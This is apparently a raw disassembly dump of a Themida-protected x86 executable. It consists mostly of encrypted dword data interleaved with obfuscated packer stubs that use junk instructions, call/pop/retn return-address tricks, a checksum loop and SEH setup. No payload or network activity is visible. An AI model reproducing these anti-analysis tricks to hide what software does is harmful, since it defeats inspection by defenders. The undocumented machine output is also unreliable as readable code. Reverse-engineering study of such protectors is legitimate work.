dd 1D95FF75h, 6A06A81Eh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 18042444h, 46000000h, 7DCDC356h, 817612DDh
dd 2DC792E3h, 880F502Fh, 11h, 9E851h, 22870000h, 0EF47EA2h
dd 5F4F4DC9h, 2434895Fh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 15h, 96C35040h, 0E78160BFh, 2CA56837h, 61DBC780h
dd 0A227B5FFh, 6A06ABh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1C0424h, 51410000h, 9C219EC3h, 78D7A199h, 0F380C201h
dd 0FBB70F43h, 2A6995FFh, 8B0F06A8h, 5, 5AE321BFh, 3DBD8307h
dd 6A82Eh, 49840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 160424h, 53430000h, 475E9BC3h, 50DEB396h
dd 52006A96h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h
dd 0C3524200h, 9412FB49h, 407C46A7h, 0FFF8BF0Fh, 0ABA227B5h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h
dd 0C3504000h, 5DC9FE13h, 0ADBCE135h, 0DF816653h, 665B50B6h
dd 95FFDE8Bh, 6A83185h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 14h, 0B2C35343h, 32619D8Bh, 0B5FF06A8h, 6ABA227h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0A0C35141h
dd 0A571E824h, 95FF25F9h, 6A80F55h, 0BD838DB7h, 6A8077Dh
dd 19840F02h, 1000000h, 0A8021DB5h, 19858B06h, 6606A80Dh
dd 0C64400BBh, 9D230000h, 6A81D9Dh, 0DC185C7h, 6A8h, 81660000h
dd 0E9CC5EF7h, 0FFFFF49Eh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 14h, 0DFC35040h, 0AE8h, 0CA02D800h, 8B1336DEh
dd 0E934AC90h, 0Ch, 3B6628BDh, 0F6BA74FBh, 44BE2D0Dh, 6AC18B5Bh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h
dd 40000000h, 7ADCC350h, 161DBD8Bh, 958906A8h, 6A80D39h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5941B2
loc_594EAC: ; CODE XREF: sub_5941B2:loc_594236j
lea eax, [ebp+6A83385h]
push ebx
pop edi
cld
nop
mov ebx, esi
push eax
push edx
pop ebx
nop
and edi, 4FA1D678h
push 0
push 0
push ebx
call sub_594ECF
and [ebx-3Dh], bl
; END OF FUNCTION CHUNK FOR sub_5941B2
; =============== S U B R O U T I N E =======================================
sub_594ECF proc near ; CODE XREF: sub_5941B2+D15p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_594ECF endp
; ---------------------------------------------------------------------------
cmpsb
mov ds:6AB6DB80h, eax
add [edx+0], ch
push eax
call sub_594EF1
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_594EF1 proc near ; CODE XREF: Themida_:00594EE9p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 19h
inc eax
push eax
retn
sub_594EF1 endp
; ---------------------------------------------------------------------------
xlat
fcomp qword ptr [esi-740D8087h]
mov ebp, 6A806ADh
lea eax, [ebp+6ACB696h]
and di, 9AB8h
add eax, 5
push 0
push ebp
call sub_594F26
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_594F26 proc near ; CODE XREF: Themida_:00594F1Ep
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 19h
inc ebp
push ebp
retn
sub_594F26 endp
; ---------------------------------------------------------------------------
dw 7C14h
dd 813EA10Eh, 90D88B66h
db 2 dup(50h)
word_594F42 dw 5052h ; DATA XREF: ___:off_438C78o
dd 0FFB8B52h, 14E831h, 0AAD0000h, 3361C469h, 0F4C4B6E8h
dd 92EEE48Ch, 97FACF18h, 5A5B1222h, 66310F58h, 585AFB8Bh
dd 3880F90h, 0F000000h, 6AFBB7h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 14h, 96C35646h, 6A006Ah, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
dd 7E8AC3C3h, 4195FF2Ch, 6A06A825h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 7E0C355h
dd 8A8BBDC0h, 7F8D8DF9h, 6A06AB8Ch, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0E605C356h
dd 88B34B6Ch, 515EB253h, 0CC9B589h, 0FF5F06A8h, 0CE9D1h
dd 61FF0000h, 6429B214h, 0DC8BEFFBh, 0BD833A72h, 6A8339Dh
dd 74850F01h, 0F000000h, 387h, 0F98B6600h, 8F0F026Ah, 6
dd 1D59B529h, 8B5006A8h, 240489FBh, 0A59D8960h, 8B06A806h
dd 95FF61F0h, 6A81E1Dh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 19h, 0B7C35040h, 0D77DCF91h, 9D896024h, 6A822D9h
dd 12E8h, 84CFA200h, 295026E4h, 297440AAh, 0C9C318E6h
dd 5FCDFCE8h, 6D958961h, 0E906A820h, 0D91h, 0E8h, 0ED815D00h
dd 6ACB6A0h, 34BD9D8Bh, 0B50106A8h, 6A82C65h, 890Fh, 858D0000h
dd 6AB7E2Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Ah, 0A4C35545h, 0C3B2F629h, 0E781346Bh, 38DF6B8Ch
dd 19870F50h, 0E9000000h, 14h, 529DACC7h, 0BAD1411Eh, 0C62632A1h
dd 0AB1533FCh, 0FDA791DFh, 6A240489h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 50E7C357h
dd 0FF6430A0h, 35h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1404h, 0C3504000h, 0E0F38045h, 1DAD9D01h
dd 896406A8h, 25h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1904h, 0C3564600h, 8D726135h, 0BE96FA2h
dd 32000000h, 35C98645h, 3E859BB5h, 9D89AB1Dh, 6A80B61h
dd 1B65BD8Bh, 85FF06A8h, 6A833F1h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 15h, 54C35747h, 0BBFFB753h, 6DD035C7h
dd 6660FF6Ah, 80FED181h, 6E8h, 0BCCE8B00h, 50847790h, 0FF61595Ah
dd 0A8298DB5h, 0DE906h, 3B660000h, 0F6BA74FBh, 44BE2D0Dh
dd 662AFE02h, 0FF1705BBh, 0A82A7D95h, 11CE906h, 81660000h
dd 0B07A5FF3h, 14BF6600h, 0E470E65Eh, 0F8B70F71h, 830F613Ch
dd 102h, 15BDBD89h, 0B60F06A8h, 0AE960C8h, 12000000h, 50B68C3Eh
dd 0AC38319h, 10E92Fh, 6F3F0000h, 0E8AF35Eh, 13852E07h
dd 6D3FC9C0h, 0BA6157C1h, 6, 2D199D8Bh, 0C18B06A8h, 0AA5BD8Bh
dd 0E8C106A8h, 0D88B5704h, 0E2F7665Fh, 10D1B589h, 0C82B06A8h
dd 6860Fh, 0BD290000h, 6A80C45h, 8D89D18Bh, 6A80049h, 95E9h
dd 0C1BD8900h, 8B06A806h, 885h, 0DBBF0F00h, 6007C083h
dd 0FB8BF18Bh, 83FA8A61h, 8B6000C0h, 0A820EDBDh, 5F576006h
dd 2261BD2Bh, 616106A8h, 830FD03Bh, 1Dh, 59E9h, 0FE800h
dd 0A2640000h, 0A6A2FAE0h, 7B07D1A4h, 332C16B2h, 8B665BC5h
dd 0FF8D8BD8h, 52FFFFFFh, 0ED9D8960h, 6106A820h, 819D8B5Fh
dd 8306A815h, 840F01E1h, 22h, 0FFA583FCh, 0FEFFFFFFh, 89589h
dd 0AE90000h, 8C000000h, 3124C717h, 4AC833C1h, 0E95Eh
dd 0B58D0000h, 6AC3224h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 16h, 43C35141h, 81512032h, 67EE1DE3h, 6A5B7Bh
dd 11E8h, 0E4403A00h, 0E0957F52h, 9EF83CB7h, 0ADF3B73Dh
dd 840F6186h, 6, 22859D8Bh, 0FF5B06A8h, 0A81B3195h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
dd 0BAC7CDC6h, 8D62A347h, 8A0FC612h, 0Ah, 850F60h, 53000000h
dd 0EAB9615Eh, 8100000Fh, 0E13430F3h, 0FCE1830Eh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 5CC35646h, 5809CDC8h
dd 0C004DD27h, 10E9F890h, 95000000h, 52C38BD4h, 2D03C2F4h
dd 0B14E6724h, 0BB22B134h, 71161692h, 55006AFCh, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
dd 0B02CED69h, 0C02B01D2h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 15h, 5C35141h, 599589C7h, 0BA06A820h, 0
; ---------------------------------------------------------------------------
push 0
push edx
call sub_59545B
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59545B proc near ; CODE XREF: Themida_:00595453p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_59545B endp
; ---------------------------------------------------------------------------
adc [ebp-32F45A65h], dl
mov [ebp+6A83389h], edi
loc_595477: ; CODE XREF: Themida_:00595481j
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_595477
add edi, 300BC9C3h
push 0
push ebp
call sub_595494
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_595494 proc near ; CODE XREF: Themida_:0059548Cp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Dh
inc ebp
push ebp
retn
sub_595494 endp
; ---------------------------------------------------------------------------
dd 0A54284ADh, 53946ECCh, 8D89101Eh, 6A80C75h, 5BFA8B57h
dd 880Dh, 0F9B70F00h, 5B9958Bh, 60F806A8h, 18019D8Bh, 8B6106A8h
dd 0A814698Dh, 0B9B58906h, 5006A807h, 188BC28Bh, 188BC103h
dd 0E8D1C18Bh, 188BC203h, 7BF3BB58h, 810F558Fh, 3, 83F98B66h
dd 0A80C91BDh, 840F0006h, 78h, 0C2C32FBFh, 0B83Bh, 0B70F0000h
dd 0AF8D8DDAh, 6A06A84Fh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 16042444h, 41000000h, 0CA6DC351h, 4DF3819Fh
dd 0BF6143AAh, 7C39CB09h, 6AE1FFh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1B0424h, 51410000h, 610B39C3h, 0BB8444E8h
dd 65B58926h, 5106A80Eh, 68F0Fh, 0BD890000h, 6A807F1h
dd 0D88B665Fh, 0BBDBD83h, 0F0006A8h, 42684h, 4BBB6600h
dd 0BDBD835Fh, 106A80Bh, 430840Fh, 0E7810000h, 5DB4643h
dd 0BBDBD83h, 0F0306A8h, 3E786h, 0D59D2300h, 0E906A81Bh
dd 12h, 6C935B82h, 66549C06h, 0BC75B7AFh, 1EADBB61h, 6A604B8Ah
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h
dd 41000000h, 0C92FC351h, 74FCA19Ch, 3A7344B5h, 1DDD9589h
dd 8C6606A8h, 53006AD9h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1704h, 0C3534300h, 0EAAF0324h, 4E180F8h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0D9C35343h, 0EDE1140Eh
dd 0C90AE474h, 14F840Fh, 8B660000h, 0E1858BFAh, 106A80Bh
dd 0A820D1B5h, 5D853306h, 0F06A81Dh, 5750FFB7h, 895FD98Bh
dd 880F2404h, 9, 38C0Fh, 8B660000h, 6A006AF9h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
dd 0A886C357h, 0E9DD4E9Bh, 13h, 12F4A230h, 0A17F9C7h, 0C9583EBh
dd 0E9B96805h, 606C55BBh, 7298D8Bh, 0E86106A8h, 4, 1F03FFh
dd 6050FA8Bh, 0F525050h, 5A585A31h, 8B61C38Bh, 52042444h
dd 0AE9h, 6C76A900h, 0C22C17FBh, 5B37D00Bh, 0BB66008Bh
dd 4489BF81h, 0E8500424h, 0Fh, 60A5AE26h, 0A237BD94h, 9C39C401h
dd 8A5B83F1h, 585B5FD9h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 15h, 0FDC35646h, 4195FFB3h, 6006A807h, 0A59D8B60h
dd 6106A82Fh, 8E9h, 1FFB3400h, 0EC0373BBh, 85896120h, 6A801C9h
dd 0A2278589h, 6A06ABh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 160424h, 55450000h, 0A58629C3h, 19AE9h, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
dd 0CDADD806h, 2B4C1A1Ch, 1F858B66h, 8106ABA2h, 0FD719FE7h
dd 1800C715h, 0E8000000h, 0Bh, 0BE276309h, 212EAB9Eh, 8B17038Ch
dd 0A81A599Dh, 0B58B5B06h, 6ABA223h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Bh, 0EC35747h, 0D91067E6h, 8BA8CF96h
dd 0A82B7D85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1A04h, 0C3514100h, 0F6781626h, 89E66C73h
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h
dd 0C3524200h, 8B5785AAh, 0A80BE185h, 4468906h, 16820Fh
dd 0E9520000h, 0Fh, 323F68DBh, 55524A64h, 0ADF0FC3Dh, 5B8E03B5h
dd 6A965096h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1A042444h, 40000000h, 0D933C350h, 2612AD67h, 1FB5FFA6h
dd 6A06ABA2h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 18042444h, 41000000h, 91B4C351h, 2BFC5EAEh, 0A80C0D9Dh
dd 298D0906h, 6806A822h, 0C05963C1h, 481D88Ah, 0C5A03E24h
dd 0D381663Fh, 858D62B5h, 6ABA227h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 14h, 93C35040h, 5FBF5090h, 5F3869CFh
dd 5FB66050h, 61C78B66h, 0DA8B6690h, 0FFD88B66h, 0A8074195h
dd 0BD016006h, 6A80B89h, 2DD9858Bh, 616106A8h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0EC35242h, 4D13A069h
dd 0BBD85C7h, 306A8h, 830F0000h, 5, 0F3C78166h, 27BD83D8h
dd 6ABA2h, 46840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 140424h, 51410000h, 8D8942C3h, 6A833EDh
dd 3AE9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1704h, 0C3524200h, 0D6FF261Dh, 110C3050h, 1114400h
dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h
dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
dd 8D20C355h, 0B6B75AD8h, 0BD8BD259h, 6A82DB5h, 5C19D03h
dd 83F806A8h, 0A80BBDBDh, 850F0306h, 3FEh, 25AD8D89h, 816606A8h
dd 839FB8D7h, 0ABA227BDh, 840F0006h, 3E6h, 1A3DBD03h, 0B5FF06A8h
dd 6ABA227h, 95FFD98Ah, 6A815F9h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Dh, 2C35747h, 1FE3CBCDh, 0BE7388D3h
dd 94BB66B2h, 1BB58B80h, 0F06ABA2h, 8Fh, 106C700h, 6A000100h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h
dd 42000000h, 0D696C352h, 0BD8BF9A6h, 6A8212Dh, 50D88B96h
dd 6A96DA8Ah, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1D042444h, 47000000h, 4706C357h, 744FB07Fh, 8CA8019Eh
dd 141DBD8Bh, 0B5FF06A8h, 6ABA227h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Bh, 0ACC35141h, 0D3CB5DAFh, 0BBB56AB4h
dd 33CB6A8Ah, 0DE9h, 0AB680700h, 9B221680h, 98E17958h
dd 95FF0C26h, 6A82199h, 8BA6C380h, 0ABA21BB5h, 3860F06h
dd 0F000000h, 0BD0BFBBFh, 6A82761h, 0E41858Bh, 868906A8h
dd 0C4h, 1058CB81h, 958B6CD2h, 6A805B9h, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 16h, 6EC35747h, 0BD8BC322h
dd 6A83389h, 6A04C283h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 16042444h, 45000000h, 1AD5C355h, 618D892Bh
dd 8906A80Bh, 81662050h, 8D2969F7h, 0ABB7CE85h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
dd 0F5F6D2AFh, 8689F986h, 0B8h, 6AFBBF0Fh, 50006A00h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
dd 0B3ED9D09h, 27B5FF3Bh, 6A06ABA2h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 26D7C353h
dd 1AC59D23h, 5E906A8h, 81000000h, 853D7404h, 1E1D95FFh
dd 6A06A8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
dd 52420000h, 66300DC3h, 0BF0FFE8Bh, 0BE996FEh, 77000000h
dd 6F17049Ah, 5348BBC6h, 8B503772h, 86BB96DAh, 0FF14DAE6h
dd 0ABA227B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1904h, 0C3564600h, 852A6553h, 8B667CD7h
dd 6995FFDAh
dd 8B06A82Ah, 0A80F59BDh, 3DBD8306h, 6A82Eh, 59840Fh, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 21FA29C3h, 0F1FCB960h, 0B5896B77h, 6A81E65h, 50FE8B61h
dd 6A243489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1B042444h, 41000000h, 8F5EC351h, 1BC7544Bh, 8166CD59h
dd 0FF2F74DFh, 0ABA227B5h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 9E887h, 2C6E0000h
dd 0E891062Bh, 816E0254h, 0C8431BF7h, 8B665B22h, 8595FFF9h
dd 8906A831h, 0A82671BDh, 27B5FF06h, 6A06ABA2h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
dd 6E90C350h, 0A2BB90D0h, 0C14C389Dh, 21159D2Bh, 95FF06A8h
dd 6A80F55h, 83DBB70Fh, 0A8077DBDh, 840F0206h, 6Fh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 79C35646h, 9D822777h
dd 0D6715B58h, 8BDBB70Fh, 0A80D1985h, 56006A06h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
dd 0D3A5B3D6h, 0CE8E8AEh, 0A1000000h, 31A6A9A5h, 0A77BBAD3h
dd 89C1FDB7h, 0A81E798Dh, 0C65B06h, 6D950900h, 0C706A82Fh
dd 0A80DC185h, 6, 8E900h, 0B54E0000h, 0A9CE6E66h, 0A5E9BA19h
dd 89FFFFF3h, 0A81B5DBDh, 89C18B06h, 0A82FA59Dh, 20E906h
dd 0A09B0000h, 4A7Bh, 6 dup(0)
dd 0B7E90000h, 0A9000004h, 0E043C78Eh, 0FB0F6B3h, 399A2069h
dd 69CA5015h, 0BA0185C8h, 377A1BF7h, 632E50F3h, 91D87C27h
dd 0C28BAA15h, 0C07AE044h, 0B6049AC8h, 0BAD77CBAh, 0D6AEEA1Ch
dd 0BB94AF57h, 3E632A4Ah, 41E44BEDh, 59FAAB08h, 0E2D9614h
dd 3529A347h, 1B302597h, 766F2A47h, 0BDE04122h, 15B3AFF4h
dd 0D25D5DEFh, 0C27AF58h, 58D1C6C2h, 593BCAFh, 73B0F59Ah
dd 838A2B80h, 0B21DA9E0h, 0E44FDB92h, 20ED8140h, 0D05D3673h
dd 9238EEC7h, 58D23068h, 0FF3912AFh, 36F3930Ch, 37739515h
dd 0DAF58D2h, 3BE44922h, 817A5316h, 2FF0DD1Ch, 0F94D0428h
dd 317E3756h, 58D1EE29h, 0D65F5CAFh, 0DF2DE8C4h, 4F0F12h
dd 0FF100000h, 4E88155Ch, 0AF57D748h, 7E7C25B2h, 12DFD682h
dd 165h, 52FFBE00h, 76EF08F6h, 0A49DA7FEh, 0CC89A67Fh
dd 2B5DFB67h, 0AF5844EFh, 713E7AD5h, 0B81B98DDh, 783D51B2h
dd 0D3DA5B30h, 8DCFFBBEh, 0DD6E8FF0h, 563C7CAAh, 83074EEDh
dd 135EFFA4h, 3D78158Eh, 1B8431F0h, 0E83E7314h, 0C06D2447h
dd 54F8395Fh, 6D158FCh, 524BD2ACh, 0FF543479h, 90B82436h
dd 91DF12DFh, 60000000h, 0F7135EFFh, 0F523660Ch, 0A2EB8D16h
dd 7C25967Dh, 0E3AECF30h, 64CB6DBEh, 0D2388EC3h, 9E1A53F1h
dd 0F03D7011h, 43E3CC6Ah, 0D6C4C40Eh, 95BEAF57h, 0B3F69C03h
dd 80218A6Eh, 0DFD47672h, 899112h, 0FFAA0000h, 0B4FD9B5Eh
dd 5149F36Fh, 33AF57D7h, 0E9362F18h, 75B5D77Dh, 4FAF57D7h
dd 8484C6E4h, 7EAF57D7h, 0B8DC43D5h, 0D78E8A3Ch, 4F7CAF57h
dd 26930FE7h, 0BAA022h, 0AF58C708h, 8F7851FAh, 9C056E22h
dd 5258F495h, 522300D6h, 664DD9B2h, 723B59BAh, 0E68BFC2Dh
dd 8B2D7EA3h, 0E54A0F24h, 57D72265h, 0AAE381AFh, 0B2F5F505h
dd 9DB7FE65h, 0E340092Ch, 0E7EEB71Ch, 88A10E4Bh, 4FD0C79Fh
dd 0DF885743h, 1B612h, 0FF890000h, 0BBF69859h, 40F4C476h
dd 0B7332862h, 0B7C1E5DEh, 0C600BA2Eh, 0AF5832C2h, 35F9780h
dd 0A50692BEh, 931059FCh, 0F2BE674Ch, 0F73C7111h, 0E3400D2Eh
dd 0C370D1CAh, 0A8001986h, 92286107h, 8A308B29h, 3BD970h
dd 2380ABB6h, 1CAAE382h, 54D990B3h, 3C9492h, 2A8BE0B6h
dd 0FD490023h, 357A3352h, 2380C96Ch, 676E379Ch, 9D398DC4h
dd 1477B3A1h, 10744h, 0B5E7DF00h, 23AED80Eh, 0E1B60007h
dd 1538E936h, 2FBBED4h, 31781B84h, 591033ECh, 0B3B02BADh
dd 66C9D7AEh, 65CE5132h, 0DF96B5BCh, 9BF7E34Bh, 3C161477h
dd 0E8000000h, 8A2E6B07h, 0BB6E7A1h, 0D74DADDFh, 1C372F57h
dd 0D7535797h, 0EE452F57h, 0C2F52645h, 0DE7AEBA2h, 38110A97h
dd 0D7207882h, 84E2AF57h, 57D74642h, 3A133CAFh, 9663ECh
dd 0E7460000h, 0AED80EB5h, 0B6000ACFh, 387D12B5h, 9B04E24Fh
dd 0DB73B0F9h, 1420A232h, 6ECAA38Fh, 5FEBA2C1h, 9B1851F4h
dd 5F5253h, 6C35BEB6h, 86EC665h, 62327647h, 0E952E8C1h
dd 0B0CAF04Bh, 0BCAD4FA5h, 0B66FB49Fh, 0D051DE97h, 0E9BAE7A2h
dd 0B207E34Bh, 398D9A77h, 0F857E340h, 0BC19B837h, 1A40F4F3h
dd 9ACBB58Bh, 0DE97B198h, 0B0DE0CE5h, 8FDBB326h, 0AD123D7Dh
dd 0D22C07BCh, 47D17A42h, 5A37B681h, 7A38CC3h, 1D3BF69Ch
dd 0E5DECF54h, 841E7B8h, 1433991Fh, 0D80EB5E7h, 49B97AEh
dd 24C26DB6h, 4DD297BBh, 0B66FDC5Ch, 0E748DE97h, 0A6A00D44h
dd 2DC054Bh, 2930F16Ah, 5CC7430Ah, 0F0BBD39h, 0F502DC05h
dd 263C615Ah, 53D09DBDh, 3D51DE5Ah, 0CB6A3B78h, 49226B0Ah
dd 541D3BE4h, 7132B9CFh, 2DF6DFE2h, 0F84E0726h, 307D3457h
dd 863FA02Ah, 3EEEC3Fh, 0E6322B6Eh, 0F19h, 59BA3C00h, 227B733Ah
dd 9AE65066h, 48332375h, 8C1158FFh, 0F4397013h, 0E340092Bh
dd 0C06D2042h, 2E733E5Fh, 1499D475h, 7DA2E78Bh, 60CD84A4h
dd 4AD792BFh, 4EC83FAh, 51241489h, 0C181E189h, 4, 4E981h
dd 0C870000h, 0C895C24h, 0E3895324h, 4C381h, 0EB810000h
dd 4, 5C241C87h, 52243489h, 790F6DBAh, 3BF2814Bh, 894DD5CBh
dd 24148BD1h, 4C481h, 0DF680000h, 89000003h, 4812424h
dd 424h, 89535E00h, 85E89CBh, 81241C8Bh, 4C4h, 24348B00h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_5517CE
; ---------------------------------------------------------------------------
dd 5037AB0Dh, 689A5350h, 7CB836C4h, 306ACC8h, 3FE0FFC5h
dd 19161727h, 0C072A38Fh, 9F313024h, 675D50E6h, 837A87D1h
dd 3160FD8Dh, 0E6797DD3h, 901AE7CAh, 715B59BBh, 7D4C3998h
dd 191F1E91h, 361CD489h, 0F44A4CD2h, 0C66F85EFh, 227AA053h
dd 0EB56AAE9h, 0DB096CB4h, 0B5CEBC1h, 0EB4E9EE1h, 22298491h
dd 1E797C38h, 51607041h, 0CF7A7482h, 8D366943h, 0A8338585h
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h
dd 0C3574700h, 230FE68h, 0CA3677B2h, 5752508Ah, 5B5B5F50h
dd 6A240489h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 14042444h, 47000000h, 0E937C357h, 7, 0B9A3F4F9h, 6AEED422h
dd 6A006A00h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 19042444h, 47000000h, 70C9C357h, 11350D0Eh, 5A1BD09h
dd 858D06A8h, 6ACCBDFh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Dh, 8AC35646h, 0C55C7E3Ah, 0B82F18F2h, 11E800h
dd 2B460000h, 0D50C45A0h, 4D9E8818h, 8C22C15Eh, 0BFA6B6FAh
dd 61C5ECB0h, 0B99D8B5Bh, 8306A80Fh, 0B50105C0h, 6A80AFDh
dd 52505090h, 310FD98Bh, 585AD98Bh, 0D8B70F90h, 6A006Ah
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
dd 22632EC3h, 6AD37626h, 68D0F00h, 8B000000h, 0A81A819Dh
dd 4195FF06h, 6A06A825h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1B042444h, 45000000h, 0F29FC355h, 3F6E595Ah
dd 8D8D5978h, 6AB8C7Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Ch, 0C2C35747h, 9CDD2FA3h, 49069375h, 987BF66h
dd 0FFCFEB81h, 0D1FF4E65h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 18h, 0B2C35545h, 23E2E81Fh, 8300F380h, 0A8339DBDh
dd 850F0106h, 0BCh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Bh, 9FC35545h, 30526748h, 0E86448D6h, 12h
dd 4DCE8AB3h, 6A68400Eh, 5C0F3021h, 29BDBEE4h, 0BB66CD9Dh
dd 665B4911h, 6A5CBCBFh, 52006A02h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1B04h, 0C3524200h, 3A0AE4B8h, 5D1912FEh
dd 1CD78166h, 5250501Eh, 11E8h, 0B7E23400h, 0C661414Eh
dd 99221C35h, 3233E3FFh, 5F567630h, 0F310F5Bh, 283h, 5A5B5600h
dd 24048958h, 0CE8h, 0BAC4EC00h, 58BADE26h, 322FD27Eh
dd 0DA8B6674h, 2D9D295Fh, 0FF06A806h, 0A81E1D95h, 0F9BF0F06h
dd 0DF8E9h, 0E800h, 815D0000h, 0ACCBE9EDh, 53006A06h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
dd 851D88ADh, 0D3801100h, 919D03C0h, 6006A82Ah, 0E91AB866h
dd 14819D8Bh, 8D6106A8h, 0AB7E2E85h, 8D9D8B06h, 5006A802h
dd 4896FB3h, 0C9BD2324h, 8906A801h, 0A81DF99Dh, 35FF6406h
dd 0
; ---------------------------------------------------------------------------
sub di, 3ECDh
mov large fs:0, esp
mov bh, al
inc dword ptr [ebp+6A833F1h]
push 0
push ecx
call sub_596677
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
